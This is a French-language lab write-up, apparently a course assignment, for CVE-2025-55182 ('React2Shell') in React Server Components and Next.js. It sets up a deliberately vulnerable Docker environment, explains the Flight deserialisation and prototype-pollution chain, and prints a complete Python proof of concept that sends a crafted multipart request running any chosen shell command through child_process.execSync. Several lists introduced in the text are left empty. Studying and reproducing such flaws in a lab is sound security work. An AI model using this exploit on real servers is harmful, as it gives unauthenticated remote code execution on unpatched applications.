
a.k.a. React2Shell
Les sections requises par les directives de l'affectation sont marquées avec « (Requis) ».
Cet environnement utilise un Dockerfile personnalisé basé sur l'image officielle Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
Le Dockerfile construit un environnement vulnérable avec React Server Components (RSC) et Next.js App Router.
L'environnement installe des versions vulnérables de :
Le serveur vulnérable fonctionne en mode développement en utilisant npm run dev.
Le serveur vulnérable fonctionne en mode développement en utilisant npm run dev.
L'environnement fonctionne selon la structure suivante :
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
L'attaquant envoie une requête multipart/form-data spécialement conçue à l'application Next.js vulnérable.
La charge utile malveillante exploite le processus de désérialisation du protocole React Flight.
L'application vulnérable utilise l'architecture Next.js App Router.
La requête est traitée via le pipeline React Server Components.
Le code source de l'application est stocké dans le répertoire src/app/.
src/
└── app/
├── layout.js
└── page.js
Le fichier layout.js définit la mise en page racine requise pour la structure App Router et initialise l'environnement React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
Le fichier page.js définit la page racine rendue à / et affiche un message simple indiquant que le serveur vulnérable est en cours d'exécution.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
Les dépendances du projet et les scripts d'exécution sont gérés via le fichier package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Ce fichier définit les versions vulnérables de :
L'application vulnérable est exécutée en utilisant :
"scripts": {
"dev": "next dev"
}
Le serveur est démarré via :
npm run dev
ce qui lance le serveur de développement Next.js vulnérable sur le port 3000.
Le protocole Flight désérialise des objets React complexes tels que :
La vulnérabilité se produit lors de ce processus de désérialisation.
Le runtime React traite les charges utiles Flight contrôlées par l'attaquant.
Le parcours non sécurisé des propriétés et l'accès au prototype permettent finalement aux attaquants de détourner le constructeur Function.
Après une exploitation réussie, du code JavaScript arbitraire s'exécute dans l'environnement serveur Node.js.
Cela conduit à une exécution de code à distance (RCE).
| Composant | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
L'environnement utilise des implémentations vulnérables de React Server Components et du protocole Flight.
CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique d'exécution de code à distance (RCE) affectant React Server Components et le protocole React Flight.
La vulnérabilité se produit lors du processus de désérialisation des charges utiles du protocole Flight contrôlées par l'attaquant.
Le problème permet aux attaquants de :
La vulnérabilité est particulièrement dangereuse car l'exploitation peut se produire sans authentification en utilisant une seule requête HTTP conçue.
Les applications utilisant des configurations vulnérables de React Server Components et Next.js App Router sont directement exposées.
La cause racine de la vulnérabilité est la gestion non sécurisée des références d'objets contrôlées par l'attaquant lors de la désérialisation du protocole Flight.
React Flight utilise en interne des chaînes de référence spéciales telles que :
$@0
$B1337
$1:__proto__:then
Ces références sont résolues de manière récursive lors de la désérialisation.
La logique vulnérable effectue un parcours de propriétés similaire à :
value[path[i]]
sans valider si la propriété appartient à l'objet lui-même.
En conséquence, les attaquants peuvent accéder à des propriétés dangereuses de la chaîne de prototypes JavaScript telles que :
__proto__
constructor
prototype
Cela permet finalement la pollution de prototype et le détournement du constructeur Function.
L'attaquant crée d'abord un objet chunk React factice.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Le champ critique est :
"status": "resolved_model"
Le runtime React fait confiance incorrectement à ce champ et traite l'objet contrôlé par l'attaquant comme un objet chunk interne légitime.
La charge utile :
$1:__proto__:then
amène le désérialiseur à parcourir la chaîne de prototypes JavaScript.
Parce que le code vulnérable ne valide pas les propriétés dangereuses, l'attaquant obtient l'accès à :
Chunk.prototype.then
Cela transforme le chunk factice en un objet thenable.
La charge utile :
$1:constructor:constructor
se résout finalement en :
Function
Cela remplace :
response._formData.get
par le constructeur Function global JavaScript.
En conséquence :
Function(attacker_controlled_payload)
devient possible.
La charge utile :
$B1337
force l'analyseur React Flight dans la logique d'analyse Blob.
Lors de ce processus :
response._formData.get(...)
est exécutée.
Cependant, l'attaquant a déjà remplacé cette fonction par le constructeur Function global.
Cela aboutit finalement à une exécution JavaScript arbitraire dans le runtime Node.js.
Le processus d'exploitation se déroule dans l'ordre suivant :
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
L'attaquant envoie d'abord une requête Flight multipart conçue.
Le serveur vulnérable désérialise la charge utile malveillante et résout récursivement les références contrôlées par l'attaquant.
Le parcours non sécurisé du prototype permet finalement à l'attaquant de détourner le constructeur Function.
Lors de la résolution de Promise et de l'analyse Blob, du code JavaScript arbitraire est exécuté.
Une exploitation réussie permet aux attaquants d'exécuter du code JavaScript arbitraire dans l'environnement serveur Node.js.
Dans cet environnement, l'exploit exécute :
touch /tmp/success.txt
L'exploitation réussie est vérifiée lorsque le fichier suivant existe dans le conteneur :
/tmp/success.txt
Dans des environnements réels, les attaquants pourraient :
La vulnérabilité est particulièrement dangereuse car elle affecte les internes du framework React plutôt que la logique métier de l'application.
Cela signifie qu'un grand nombre d'applications peuvent devenir vulnérables simplement en utilisant des versions affectées du framework.
La preuve de concept (PoC) a été écrite en Python.
L'exploit envoie une requête multipart/form-data malveillante directement à l'application Next.js vulnérable.
Le PoC effectue les actions suivantes :
import requests
import sys
def exploit_rce(url, command):
headers = {
"Host": "localhost",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}
payload_json = (
'{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
'"_formData":{"get":"$1:constructor:constructor"}}}'
)
data = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n"
"\r\n"
f"{payload_json}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data; name=\"1\"\r\n"
"\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
try:
print(f"[*] Sending RCE payload to {url}...")
print(f"[*] Command: {command}")
response = requests.post(url, headers=headers, data=data, timeout=10)
print(f"[*] Status Code: {response.status_code}")
print(f"[*] Response Body Preview: {response.text[:500]}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
target_url = "http://localhost:3000"
cmd = "touch /tmp/success.txt"
if len(sys.argv) > 1:
cmd = sys.argv[1]
if len(sys.argv) > 2:
target_url = sys.argv[2]
exploit_rce(target_url, cmd)
La charge utile de l'exploit utilise plusieurs références spécialement conçues du protocole Flight.
$1:__proto__:then| Partie | Objectif |
|---|---|
$1 | Référence le chunk 1 |
__proto__ | Parcourt la chaîne de prototypes |
then | Récupère Chunk.prototype.then |
Cette charge utile transforme le chunk factice en un objet thenable.
$1:constructor:constructor| Partie | Objectif |
|---|---|
$1 | Référence le chunk 1 |
constructor | Accède au constructeur de l'objet |
constructor | Se résout en constructeur Function global |
Cette charge utile détourne le constructeur Function JavaScript.
$B1337Le préfixe $B force l'analyseur Flight dans la logique d'analyse Blob.
Lors de ce processus :
response._formData.get(...)
est exécutée.
Parce que l'attaquant a déjà remplacé cette méthode par le constructeur Function, du code JavaScript arbitraire s'exécute.
$@0Cette charge utile crée une référence de chunk circulaire.
Le chunk 1 référence finalement à nouveau le chunk 0.
Cette structure permet au désérialiseur d'utiliser l'objet chunk factice contrôlé par l'attaquant lors du parcours du prototype.
L'exploit crée d'abord une limite multipart aléatoire.
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex
Ceci est requis pour construire une requête multipart/form-data valide.
L'exploit construit un objet chunk factice malveillant.
"status":"resolved_model"
Cela amène le runtime React à traiter l'objet contrôlé par l'attaquant comme un chunk interne valide.
La charge utile suivante :
$1:__proto__:then
force l'analyseur vulnérable à parcourir la chaîne de prototypes JavaScript.
La charge utile suivante :
$1:constructor:constructor
remplace la méthode get interne par le constructeur Function JavaScript.
La charge utile :
require('child_process').execSync('touch /tmp/success.txt')
est finalement exécutée dans le runtime Node.js.
Une exploitation réussie crée :
/tmp/success.txt
à l'intérieur du conteneur vulnérable.
Le flux complet de l'exploit est résumé ci-dessous :
Start Docker Environment
↓
Run Vulnerable Next.js Server
↓
Execute exploit.py
↓
Send Malicious Flight Payload
↓
Trigger Prototype Pollution
↓
Hijack Function Constructor
↓
Trigger Blob Parsing
↓
Execute Arbitrary Code
↓
Verify /tmp/success.txt
Construire l'image Docker.
docker build -t rsc-vuln .
Exécuter le conteneur vulnérable.
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln
Le serveur Next.js vulnérable s'exécutera sur :
http://127.0.0.1:3000
Exécuter le script PoC.
python3 exploit.py
L'exploit envoie une charge utile React Flight malveillante au serveur Next.js vulnérable.
Vérifier si l'exploit a créé avec succès le fichier cible.
docker exec -it my-vuln-server ls -la /tmp/success.txt
Une exploitation réussie confirme qu'une exécution de code arbitraire a eu lieu à l'intérieur du conteneur vulnérable.
Lors d'une exploitation réussie, l'exploit doit déclencher la désérialisation React Flight et le parcours du prototype.
Le serveur vulnérable traite la charge utile Flight malveillante et exécute du code JavaScript contrôlé par l'attaquant.
L'exploitation réussie est confirmée lorsque le fichier suivant existe :
/tmp/success.txt
Exemple de sortie :
-rw-r--r-- 1 root root 0 Jan 1 00:00 /tmp/success.txt
Cela confirme que des commandes arbitraires ont été exécutées avec succès dans l'environnement Node.js vulnérable.
Les captures d'écran suivantes ont été incluses dans le répertoire screenshots/ :


| react-server-dom-webpack |
| 19.0.0-rc |